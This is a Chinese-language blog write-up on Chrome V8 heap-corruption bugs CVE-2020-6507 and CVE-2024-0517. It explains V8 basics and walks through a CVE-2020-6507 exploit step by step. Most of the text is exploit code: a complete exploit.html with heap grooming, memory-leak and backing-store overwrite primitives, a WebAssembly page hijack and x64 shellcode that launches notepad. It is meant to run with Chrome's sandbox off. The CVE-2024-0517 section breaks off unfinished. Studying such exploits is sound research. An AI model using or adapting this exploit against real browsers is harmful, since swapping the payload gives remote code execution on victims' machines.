本文深入研究了两个在 Google Chrome 的 V8 JavaScript 引擎中发现的漏洞,分别是 CVE-2020-6507 和 CVE-2024-0517。这两个漏洞都涉及 V8 引擎的堆损坏问题,允许远程代码执行。通过EXP HTML部分的内存操作、垃圾回收等流程方式实施利用攻击。
CVE-2020-6507 漏洞存在于 Google Chrome 版本 83.0.4103.106 及之前的版本中,它允许攻击者进行越界写入,从而导致堆损坏。攻击者可以通过构建特定的 HTML 页面触发该漏洞,利用该漏洞可能导致严重的安全问题。
另一方面,CVE-2024-0517 漏洞发现于 Google Chrome 版本 120.0.6099.224 之前的版本,同样存在 V8 引擎的堆损坏问题。攻击者可以通过巧妙设计的 HTML 页面潜在地实施攻击。这个漏洞的修复在 2024 年 1 月的 Chrome 更新中得以解决。
漏洞编号: CVE-2020-6507
漏洞描述: 83.0.4103.106 之前的 Google Chrome 中的 V8 越界写入允许远程攻击者通过精心设计的 HTML 页面潜在地利用堆损坏。
漏洞编号: CVE-2024-0517
漏洞描述: 120.0.6099.224 之前的 Google Chrome 中的 V8 越界写入允许远程攻击者通过精心设计的 HTML 页面潜在地利用堆损坏。
一、了解什么是V8和JavaScript
两个CVE的漏洞都是V8引起那么我们简单认识一下,这个V8到底是什么东西?
答:V8 是 Google 的开源高性能 JavaScript 和 WebAssembly 引擎,用 C++ 编写。它用于 Chrome 和 Node.js 这个V8涉及内容及其的多如果需要完全吸收是需要花时间的,这里我把【Chrome 浏览器利用,第 1 部分:V8 和 JavaScript 内部结构简介】和【Chrome 浏览器利用,第 2 部分:通过 TurboFan 介绍 Ignition、Sparkplug 和 JIT 编译】放出来直接点击跳转到原文观看。
这里在添加一些参考V8的文章的内容【V8 / Chrome 架构阅读列表 - 适用于漏洞研究人员】
这张图,是从高层次的角度看到Chrome V8如何工作的完整流程。
下面这张图是"当 V8 编译 JavaScript 代码时,解析器会生成一个抽象语法树。 语法树是JavaScript 代码语法结构的树表示。Ignition(解释器)从该语法树生成字节码。TurboFan,优化编译器,最终获取字节码并从中生成优化的机器代码。"
如果还是没看懂,那么看这张图或者这篇文章【Chrome V8 Engine - Working】,下图是整个V8引擎的运行流程。
二、CVE-2020-6507 复现环境:
Win10 + Google Chrome 86.0.4240.75
三、CVE-2020-6507 利用复现:
关闭沙箱安全使用命令进行关闭 ,在正常情况下,浏览器沙箱提供了一个受限制的执行环境,以防止恶意代码对用户系统的损害。关闭沙箱可能会导致浏览器执行环境的变化,使其更容易受到攻击。这在某些情况下可能有助于进行特定类型的漏洞研究和安全测试。
"C:\Program Files\Google\Chrome\Application\chrome.exe" -no-sandbox
四、EXP核心分析:
html
// 漏洞利用的HTML代码
<script>
// 触发垃圾回收以促使后续的内存布局
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
// Shellcode,实际上是一个汇编代码的字节序列
let shellcode = [...]; // 替换为实际的 shellcode
// WebAssembly 模块的字节码数据
var wasmCode = new Uint8Array([ /* WebAssembly 模块的字节码数据 */ ]);
// 创建 WebAssembly 模块和实例
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
// ArrayBuffer 和 DataView 用于进行内存操作
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
// 获取浮点数的低32位
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
// 获取浮点数的高32位
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
// 合成一个双精度浮点数
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
// 将浮点数转换为大端序的64位无符号整数
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
// 将大端序的64位无符号整数转换为浮点数
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
// 定义一个 ArrayBuffer 的子类,用于进行内存操作
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;
}
}
// 在调用 foo 之前进行多次操作,包括触发垃圾回收
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;
let buff = new LeakArrayBuffer(0x1000);
arr[0] = 0x1122;
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
// 调用 foo,获取相关数组和内存对象
[corrput_arr, rwarr, corrupt_buff] = foo(true);
// 利用漏洞进行内存操作
corrput_arr[12] = 0x22444;
delete corrput_arr;
// 对内存进行操作,获取相关信息
function setbackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi);
rwarr[5] = i2f(low, fHi(rwarr[5]));
}
function leakObjLow(o) {
corrupt_buff.slot = o;
return (fLow(rwarr[9]) - 1);
}
let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
this.base = fLow(rwarr[baseIdx]);
} else {
let baseIdx = ((delta - (delta % 8)) / 8);
this.base = fHi(rwarr[baseIdx]);
}
let wasmInsAddr = leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
// 替换 shellcode 并执行
for (let i = 0; i < shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
}
// 执行 WebAssembly 的入口函数
main();
</script>
有一个小问题,我直接使用谷歌浏览器打开这个exp.html时是没有反应的包括默认开打浏览器都不行,需要在谷歌浏览器的地址上输入exp地址才可以执行。所以这个漏洞的一个行为是值得浅析一下的,下面是我的大概一个理解。
- 在浏览器中直接打开 HTML 文件时可能会受到一些安全策略的限制,而在地址栏中输入地址可能会绕过一些限制。这是因为在本地文件系统中直接打开
HTML 文件与通过 HTTP 协议在浏览器中打开页面有一些不同。 - 浏览器在直接打开本地文件时,可能会将该文件视为"本地"或"不安全"的上下文,并因此应用更严格的安全策略。这可能包括限制某些 JavaScript 功能或禁止执行某些类型的脚本。这是为了防止潜在的安全风险,因为本地文件可能会利用用户系统上的资源。
- 通过在地址栏中输入地址,你实际上是通过 HTTP 协议从浏览器获取页面,而不是直接从文件系统中加载。在这种情况下,浏览器可能会将页面视为更"安全"的上下文,并放宽一些限制。
- 这种行为可能是浏览器的一个特定实现,而不同的浏览器可能会有不同的行为。如果你的目标是在本地测试漏洞或脚本,最好的做法是将文件部署到本地服务器上,并通过HTTP协议在浏览器中打开。这样可以更好地模拟实际网络环境,同时减轻一些本地文件系统访问的限制,通过上面的一些描述可以很清楚认定这个行为。
其实在另外一种思路上,如果是直接可以打开直接执行命令,那么就可以绕过谷歌浏览器的这个机制限制,当然这个思路也可能是不存在或不能实现的一种。当然还有一个就是这个漏洞的沙箱逃逸,根据以往一些国外大佬进行逃逸并未成功!
EXP的核心步骤拆解分析
核心在于JavaScript代码是一个漏洞利用脚本,其核心部分在于实现了一系列操作,以触发浏览器漏洞并执行特定的shellcode,最终实现在浏览器中弹出记事本的效果。这篇文章里面我们可以接触到谷歌浏览器的垃圾回收也称为(WasmGC)https://developer.chrome.com/blog/wasmgc?hl=zh-cn#garbage_collection
让我们逐步分析这个脚本的核心要点:
- 内存操作:
- 使用
ArrayBuffer
对象进行内存分配,其中gc
函数用于触发垃圾回收,以促使后续的内存布局。
ArrayBuffer 是 JavaScript 中的对象,用于表示通用的、固定长度的原始二进制数据缓冲区。它在 JavaScript 中的主要作用是提供一种机制,使得 JavaScript 能够直接操作二进制数据而无需通过字符串。
EXP代码中,ArrayBuffer 主要用于进行内存操作,通过创建 ArrayBuffer 实例并使用 DataView 来对其中的二进制数据进行读写。这些操作是为了进行浮点数和整数之间的转换,以及实现对内存的底层控制,从而进行漏洞利用。
- 定义了一系列与内存操作相关的函数,如
fLow
、fHi
、i2f
、f2big
、big2f
等,用于处理浮点数和整数之间的转换。
对浮点数和整数之间的转换通常是为了绕过一些数值的限制、操作系统的保护机制,或者触发特定的漏洞。这里简要说明这些函数的作用:
fLow(f): 将浮点数 f 的低 32 位提取出来。在这里可能用于获取浮点数的底层二进制表示的一部分。
fHi(f): 将浮点数 f 的高 32 位提取出来。同样,用于获取浮点数的底层二进制表示的一部分。
i2f(low, hi): 将两个整数 low 和 hi 合成一个双精度浮点数。这个操作可能用于将提取出的浮点数的低 32 位和高 32 位重新组合成一个浮点数。
f2big(f): 将浮点数 f 转换为一个大端序的 64 位无符号整数。这可能用于将浮点数的二进制表示直接当做整数进行处理。
big2f(b): 将大端序的 64 位无符号整数 b 转换为浮点数。这可能用于将整数的二进制表示直接当做浮点数进行处理。
html
<script>
// 触发垃圾回收,促使后续的内存布局
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
// ... (其他代码)
// 创建一个包含8字节的ArrayBuffer对象
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
// 以下是一系列处理浮点数和整数之间转换的函数
// fLow: 获取浮点数的低32位
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
// fHi: 获取浮点数的高32位
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
// i2f: 将低32位和高32位整数转换成浮点数
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
// f2big: 将浮点数转换成大端格式的64位整数
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
// big2f: 将大端格式的64位整数转换成浮点数
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
</script>
- gc 函数通过循环创建了大量的
ArrayBuffer
对象,以触发垃圾回收。 - 接着定义了一系列与内存操作相关的函数,如
fLow
、fHi
、i2f
、f2big
、big2f
等,这些函数用于处理浮点数和整数之间的转换。
- WebAssembly 操作:
知识点认识:WebAssembly(Wasm)是一种用于在浏览器中运行高性能代码的二进制指令集。在谷歌浏览器中,WebAssembly 模块可以通过与 JavaScript 代码进行交互,这个漏洞又与谷歌浏览器的 V8 JavaScript 引擎有关
- 定义了一个包含
WebAssembly
字节码的Uint8Array
对象,并创建了WebAssembly
模块和实例。 main
函数是WebAssembly
模块的入口点。
html
<script>
// ... (其他代码)
// 定义一个包含 WebAssembly 模块字节码数据的 Uint8Array
var wasmCode = new Uint8Array([ /* WebAssembly 模块的字节码数据 */ ]);
// 创建一个 WebAssembly 模块
var wasmModule = new WebAssembly.Module(wasmCode);
// 创建一个 WebAssembly 实例
var wasmInstance = new WebAssembly.Instance(wasmModule);
// 获取 WebAssembly 模块的导出函数 main
var main = wasmInstance.exports.main;
// ... (其他代码)
</script>
- wasmCode 定义了一个 Uint8Array,其中包含了 WebAssembly 模块的字节码数据。
- 通过
- WebAssembly.Module 创建了一个 WebAssembly 模块。
- 通过 WebAssembly.Instance创建了一个 WebAssembly 实例,并将其中的 main 函数赋值给了变量 main。
这部分代码涉及到 WebAssembly的加载和执行,其中 main 函数的调用触发了对应 WebAssembly 模块中的代码执行。
- 漏洞触发:
- 利用特定的操作和计算,触发了浏览器漏洞,包括操作
Array
和ArrayBuffer
等对象。
- Shellcode 注入:
- 定义了一个名为
shellcode
的数组,其中包含一段特定的二进制代码。这段代码是汇编代码,用于执行特定的操作,这里是弹出记事本。
- 内存布局操作:
- 通过一系列的内存操作,计算出一些关键地址,包括
baseAddr
、wasmInsAddr
和code_entry
。 setbackingStore
函数用于修改内存中的值,实现对关键地址的设置。
html
// 设置 backingStore 函数,用于将两个 32 位整数写入数组 rwarr 中的浮点数元素
// hi: 要写入的高位整数,low: 要写入的低位整数
function setbackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi); // 将高位整数写入 rwarr[4]
rwarr[5] = i2f(low, fHi(rwarr[5])); // 将低位整数写入 rwarr[5]
}
// 泄漏对象低位地址函数
// o: 要泄漏低位地址的对象
function leakObjLow(o) {
corrupt_buff.slot = o; // 将对象设置到 ArrayBuffer 的 slot 属性中
return (fLow(rwarr[9]) - 1); // 泄漏对象低位地址
}
let corrupt_view = new DataView(corrupt_buff);
// 获取 ArrayBuffer 的低位地址,用于后续计算
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
// 计算偏移地址
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
// 根据偏移地址确定 base 指向的是数组 rwarr 中的哪个元素
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
this.base = fLow(rwarr[baseIdx]);
} else {
let baseIdx = ((delta - (delta % 8)) / 8);
this.base = fHi(rwarr[baseIdx]);
}
// 泄漏 WebAssembly 实例的低位地址
let wasmInsAddr = leakObjLow(wasmInstance);
// 将泄漏的 WebAssembly 实例地址和 base 写入 backingStore 中
setbackingStore(wasmInsAddr, this.base);
// 从 DataView 中获取地址指向的浮点数,即 WebAssembly 的代码入口地址
let code_entry = corrupt_view.getFloat64(13 * 8, true);
// 将代码入口地址写入 backingStore 中
setbackingStore(fLow(code_entry), fHi(code_entry));
- 最终执行:
- 在整个过程的最后,通过调用
main
函数,触发了 WebAssembly 模块的执行,并在其中执行了之前注入的 shellcode。
这里是完整的一个EXP,弹出记事本!
html
// exploit.html
<script>
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,
0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
arr[0] = 0x1122;
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
corrput_arr[12] = 0x22444;
delete corrput_arr;
function setbackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi);
rwarr[5] = i2f(low, fHi(rwarr[5]));
}
function leakObjLow(o) {
corrupt_buff.slot = o;
return (fLow(rwarr[9]) - 1);
}
let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
this.base = fLow(rwarr[baseIdx]);
} else {
let baseIdx = ((delta - (delta % 8)) / 8);
this.base = fHi(rwarr[baseIdx]);
}
let wasmInsAddr = leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
}
main();
</script>
五、Google Chrome V8 CVE-2024-0517 越界写入代码执行
漏洞介绍:该漏洞源于 V8 的 Maglev 编译器尝试编译具有父类的类的方式。在这种情况下,编译器必须查找所有父类及其构造函数,并且在执行此操作时会引入漏洞。1月份通报的漏洞预警中与上面的2021年Google Chrome RCE漏洞区别较大,CVE-2024-0517是 ... ...这里明天再写我直接发稿先...晚了